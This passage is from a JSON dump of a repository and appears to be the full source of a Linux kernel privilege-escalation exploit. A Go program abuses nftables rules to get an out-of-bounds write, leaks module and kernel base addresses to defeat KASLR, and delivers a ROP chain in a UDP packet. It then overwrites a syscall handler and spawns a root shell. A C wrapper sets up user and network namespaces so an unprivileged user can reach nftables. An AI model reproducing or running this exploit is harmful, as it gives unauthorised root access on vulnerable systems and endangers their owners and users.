*/\n\t//   u8                         dreg;                 /*     3     1 */\n\n\t//   /* size: 4, cachelines: 1, members: 4 */\n\t//   /* last cacheline: 4 bytes */\n\t// };\n\t_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.payloadOpsOff))\n\n\t// set payload::base as NFT_PAYLOAD_TRANSPORT_HEADER\n\t_ = binary.Write(w, binary.LittleEndian, uint8(2))\n\t// set payload::offset to 8 (skip UDP header)\n\t_ = binary.Write(w, binary.LittleEndian, uint8(8))\n\t// set payload::len to the length of our ropchain (aka, bytes to copy)\n\t_ = binary.Write(w, binary.LittleEndian, uint8(len(ropchain)))\n\t// set payload::dreg to point to the return address, beyond the stack canary\n\t_ = binary.Write(w, binary.LittleEndian, uint8(currentConfig.ipLocalDeliverRegOff/4))\n\n\t// padding\n\t_ = binary.Write(w, binary.LittleEndian, uint8(0))\n\t_ = binary.Write(w, binary.LittleEndian, uint8(0))\n\t_ = binary.Write(w, binary.LittleEndian, uint8(0))\n\t_ = binary.Write(w, binary.LittleEndian, uint8(0))\n\n\t// Write partial nft_meta, which will overlap with the end of the real nft_range\n\t_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.metaSetOpsOff))\n\n\tpayload := w.Bytes()\n\n\tconn.AddRule(&nftables.Rule{\n\t\tTable: table,\n\t\tChain: baseChain,\n\t\tExprs: []expr.Any{\n\t\t\t&expr.Range{\n\t\t\t\tOp:       expr.CmpOpNeq,\n\t\t\t\tRegister: 8, // Will overlap with meta->key\n\t\t\t\tFromData: payload[:16],\n\t\t\t\tToData:   payload[16:],\n\t\t\t},\n\t\t},\n\t})\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn fmt.Errorf(\"Could not create base chain: %v\", err)\n\t}\n\n\t// Third rule, juste some placeholder\n\tconn.AddRule(&nftables.Rule{\n\t\tTable: table,\n\t\tChain: baseChain,\n\t\tExprs: []expr.Any{\n\t\t\t&expr.Verdict{\n\t\t\t\tKind: expr.VerdictReturn,\n\t\t\t},\n\t\t},\n\t})\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn fmt.Errorf(\"Could not create base chain: %v\", err)\n\t}\n\n\tpacket_leak_path()\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn fmt.Errorf(\"Could not flush kaslr leak set: %v\", err)\n\t}\n\n\t// Recover entries from set\n\telems, err := conn.GetSetElements(&leakSet)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could not get set elems: %v\", err)\n\t}\n\n\toffsets := []uint16{0, 0, 0, 0, 0, 0}\n\n\tfor _, elem := range elems {\n\t\tkey := binary.LittleEndian.Uint32(elem.Key)\n\t\tval := binary.BigEndian.Uint16(elem.Val)\n\n\t\toffsets[key] = val\n\t}\n\n\t// offsets[0] = jumpstack[0].chain      u16 lsb high u32\n\t// offsets[1] = jumpstack[0].chain      u16 lsb low  u32\n\t// offsets[2] = jumpstack[0].rules      u16 lsb high u32\n\t// offsets[3] = jumpstack[0].rules      u16 lsb low  u32\n\t// offsets[4] = jumpstack[0].rules_last u16 lsb high u32\n\t// offsets[5] = jumpstack[0].rules_last u16 lsb low u32\n\n\t// Free all rules from the leak chain and prepare it for a write\n\tconn.FlushChain(leakChain)\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn fmt.Errorf(\"Could not delete leakchain rules: %v\", err)\n\t}\n\n\t// chain low u16\n\tchainLow := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(chainLow, offsets[0])\n\n\t// chain high u16\n\tchainHigh := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(chainHigh, offsets[1])\n\n\t// rules low u16\n\t// Skip real rule_dp header + nft_range_ops\n\truleLow := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(ruleLow, offsets[2]+16)\n\n\t// rules high u16\n\truleHigh := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(ruleHigh, offsets[3])\n\n\t// rules_last low u16\n\truleLastLow := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(ruleLastLow, offsets[4])\n\n\t// rules_last high u16\n\truleLastHigh := make([]byte, 4)\n\tbinary.LittleEndian.PutUint16(ruleLastHigh, offsets[5])\n\n\t// Payload to write lsb of rules pointer\n\tconn.AddRule(&nftables.Rule{\n\t\tTable: table,\n\t\tChain: leakChain,\n\t\tExprs: []expr.Any{\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 8,\n\t\t\t\tData:     chainLow,\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 9,\n\t\t\t\tData:     chainHigh,\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 10,\n\t\t\t\tData:     ruleLow,\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 11,\n\t\t\t\tData:     ruleHigh,\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 12,\n\t\t\t\tData:     ruleLastLow,\n\t\t\t},\n\t\t\t&expr.Immediate{\n\t\t\t\tRegister: 13,\n\t\t\t\tData:     ruleLastHigh,\n\t\t\t},\n\t\t\t&expr.Byteorder{\n\t\t\t\tSourceRegister: 8,\n\t\t\t\tDestRegister:   16,\n\t\t\t\tOp:             expr.ByteorderHton,\n\t\t\t\tLen:            28,\n\t\t\t\tSize:           2,\n\t\t\t},\n\t\t},\n\t})\n\n\tif err := conn.Flush(); err != nil {\n\t\treturn fmt.Errorf(\"Could not add oob write rule: %v\", err)\n\t}\n\n\t// Write our ropchain to the network packet and trigger our nft instructions\n\tpacket_ropchain_path(ropchain)\n\n\treturn nil\n}\n\ntype ExploitStepFn func(*nftables.Conn, uint64, uint64) error\n\nfunc nftables_wrapper(handle netns.NsHandle, step ExploitStepFn, moduleBase uint64, kernelBase uint64) error {\n\t// Open netlink connection\n\tconn, err := nftables.New(nftables.WithNetNSFd(int(handle)))\n\t_ = conn\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tconn.FlushRuleset()\n\tdefer conn.FlushRuleset()\n\n\terr = step(conn, moduleBase, kernelBase)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc main() {\n\t// Get cpu count, will be useful for sprays\n\trand.Seed(time.Now().UnixNano())\n\n\tvar origAffinity unix.CPUSet\n\torigAffinity.Zero()\n\n\terr := unix.SchedGetaffinity(0, &origAffinity)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tcpuCount = origAffinity.Count()\n\n\t// Lock go routine to specific thread\n\truntime.LockOSThread()\n\tdefer runtime.UnlockOSThread()\n\n\t// Bind to a single cpu to reach same kmalloc slabs\n\tvar cpuSet unix.CPUSet\n\tcpuSet.Zero()\n\tcpuSet.Set(0)\n\n\terr = unix.SchedSetaffinity(0, &cpuSet)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tif len(os.Args) >= 3 {\n\t\tmode := os.Args[1]\n\n\t\tif os.Args[1] != \"module_leak\" && os.Args[1] != \"kernel_leak\" && os.Args[1] != \"kernel_rop\" {\n\t\t\tfmt.Printf(\"Invalid binary mode: '%v'\\n\", os.Args[1])\n\t\t}\n\n\t\tmoduleBase, err := strconv.ParseUint(os.Args[2], 16, 64)\n\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\t// Setup the environ\n\t\tns, err := netns.New()\n\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tdefer ns.Close()\n\n\t\t// Create new net interface\n\t\terr = exec.Command(\"ip\", \"addr\", \"add\", \"127.0.0.1/8\", \"dev\", \"lo\").Run()\n\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Could not give interface ip\")\n\t\t\treturn\n\t\t}\n\n\t\terr = exec.Command(\"ip\", \"link\", \"set\", \"lo\", \"up\").Run()\n\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Could not up interface\")\n\t\t\treturn\n\t\t}\n\n\t\tif mode == \"module_leak\" {\n\t\t\terr = nftables_wrapper(ns, leak_module_step, 0, 0)\n\t\t} else if mode == \"kernel_leak\" {\n\t\t\terr = nftables_wrapper(ns, leak_kaslr_step, moduleBase, 0)\n\t\t} else {\n\t\t\tif len(os.Args) != 4 {\n\t\t\t\tfmt.Println(\"[!] Missing kernel address parameter\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tkernelBase, err := strconv.ParseUint(os.Args[3], 16, 64)\n\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\terr = nftables_wrapper(ns, ropchain_step, moduleBase, kernelBase)\n\t\t}\n\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Error: %v\\n\", err)\n\t\t}\n\t} else if len(os.Args) == 1 {\n\t\t// No arguments, launch the full exploit process\n\t\t// First resolve the binary and find the wrapper in the same folder\n\t\tbinPath, err := os.Readlink(\"/proc/self/exe\")\n\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"[!] Could not resolve binary path: %v\\n\", err)\n\t\t\treturn\n\t\t}\n\n\t\tbinFolder := path.Dir(binPath)\n\t\twrapperPath := path.Join(binFolder, \"wrapper\")\n\n\t\tif unix.Getuid() == 0 {\n\t\t\tfmt.Println(\"[+] WARNING: Exploit already running as root. For debugging\")\n\t\t}\n\n\t\tfmt.Println(\"[+] Recovering module base\")\n\t\tvar moduleBase uint64 = 0x0\n\n\t\tfor i := 0; i < 15; i++ {\n\t\t\tmoduleLeak := exec.Command(wrapperPath, binPath, \"module_leak\", \"0\")\n\t\t\tstdout, err := moduleLeak.Output()\n\n\t\t\tif err != nil {\n\t\t\t\tfmt.Printf(\"[E] Module leak failed: %v\\n\", err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tlines := strings.Split(string(stdout), \"\\n\")\n\n\t\t\tfor _, line := range lines {\n\t\t\t\tif strings.HasPrefix(line, \"LEAK\") {\n\t\t\t\t\taddrStr := strings.Split(line, \":\")[1]\n\t\t\t\t\tmoduleBase, err = strconv.ParseUint(addrStr, 16, 64)\n\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t// Should never happen\n\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif moduleBase != 0 {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tfmt.Printf(\"Failed attempt #%v, retrying ...\\n\", i)\n\t\t}\n\n\t\tif moduleBase == 0 {\n\t\t\tfmt.Println(\"[E] Could not find module base, crashing the kernel :(\")\n\t\t} else {\n\t\t\tfmt.Printf(\"[+] Module base: 0x%x\\n\", moduleBase)\n\t\t\tfmt.Println(\"[+] Recovering kernel base\")\n\t\t}\n\n\t\tvar kernelBase uint64 = 0\n\n\t\tfor i := 0; i < 10; i++ {\n\t\t\tkernelLeak := exec.Command(wrapperPath, binPath, \"kernel_leak\", strconv.FormatUint(moduleBase, 16))\n\t\t\tstdout, err := kernelLeak.Output()\n\n\t\t\tif err != nil {\n\t\t\t\tfmt.Printf(\"[E] Kernel leak failed: %v\\n\", err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tlines := strings.Split(string(stdout), \"\\n\")\n\n\t\t\tfor _, line := range lines {\n\t\t\t\tif strings.HasPrefix(line, \"LEAK\") {\n\t\t\t\t\taddrStr := strings.Split(line, \":\")[1]\n\t\t\t\t\tkernelBase, err = strconv.ParseUint(addrStr, 16, 64)\n\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t// Should never happen\n\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tif kernelBase != 0 {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tfmt.Printf(\"Failed attempt #%v, retrying ...\\n\", i)\n\t\t}\n\n\t\tfmt.Printf(\"[+] Kernel base: 0x%x\\n\", kernelBase)\n\n\t\tfor {\n\t\t\tkernelLeak := exec.Command(wrapperPath, binPath, \"kernel_rop\", strconv.FormatUint(moduleBase, 16), strconv.FormatUint(kernelBase, 16))\n\t\t\terr := kernelLeak.Start()\n\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tfor {\n\t\t\t\t// Wait one second so we don't race with the overwriting of the\n\t\t\t\t// syscall handler\n\t\t\t\ttime.Sleep(1 * time.Second)\n\t\t\t\tsyscall.RawSyscall(unix.SYS_MODIFY_LDT, 0, 0, 0)\n\n\t\t\t\tif unix.Getuid() == 0 {\n\t\t\t\t\tfmt.Println(\"[+] Got root !!!\")\n\t\t\t\t\tunix.Exec(\"/bin/sh\", []string{\"/bin/sh\"}, os.Environ())\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t} else {\n\t\tfmt.Println(\"Invalid arguments\")\n\t}\n\n}\n"
  },
  {
    "path": "src/wrapper.c",
    "content": "#include <err.h>\n#include <sched.h>\n#include <stdio.h>\n#include <string.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <errno.h>\n\nstatic void setup_namespaces(void)\n{\n\tint fd;\n\tchar buffer[128];\n\tint buffer_size;\n\tint ret;\n\tuid_t uid;\n\tssize_t nb_write;\n\n\tuid = getuid();\n\n\tret = unshare(CLONE_NEWUSER | CLONE_NEWNET);\n\tif (ret < 0) {\n\t\terr(1, \"Failed to unshare\");\n\t}\n\n\tbuffer_size = snprintf(buffer, sizeof(buffer), \"0 %u 1\", uid);\n\tif (buffer_size < 0) {\n\t\terrx(1, \"Failed to snprintf\");\n\t}\n\n\tfd = openat(AT_FDCWD, \"/proc/self/uid_map\", O_WRONLY);\n\tif (fd < 0) {\n\t\terr(1, \"Failed to open\");\n\t}\n\tnb_write = write(fd, buffer, buffer_size);\n\tif (nb_write != buffer_size) {\n\t\terr(1, \"Failed to write\");\n\t}\n\tclose(fd);\n\n\tfd = openat(AT_FDCWD, \"/proc/self/setgroups\", O_WRONLY);\n\tif (fd < 0) {\n\t\terr(1, \"Failed to open\");\n\t}\n\tnb_write = write(fd, \"deny\", strlen(\"deny\"));\n\tif (nb_write != strlen(\"deny\")) {\n\t\terr(1, \"Failed to write\");\n\t}\n\tclose(fd);\n\n\tfd = openat(AT_FDCWD, \"/proc/self/gid_map\", O_WRONLY);\n\tif (fd < 0) {\n\t\terr(1, \"Failed to open\");\n\t}\n\tnb_write = write(fd, buffer, buffer_size);\n\tif (nb_write != buffer_size) {\n\t\terr(1, \"Failed to write\");\n\t}\n\tclose(fd);\n}\n\nint main(int argc, char *argv[], char *envp[])\n{\n\t(void)argc;\n\n\tsetup_namespaces();\n\n\texecve(argv[1], &argv[1], envp);\n\terr(1, \"Failed to exec stage payload\");\n\n\treturn 0;\n}\n"
  }
]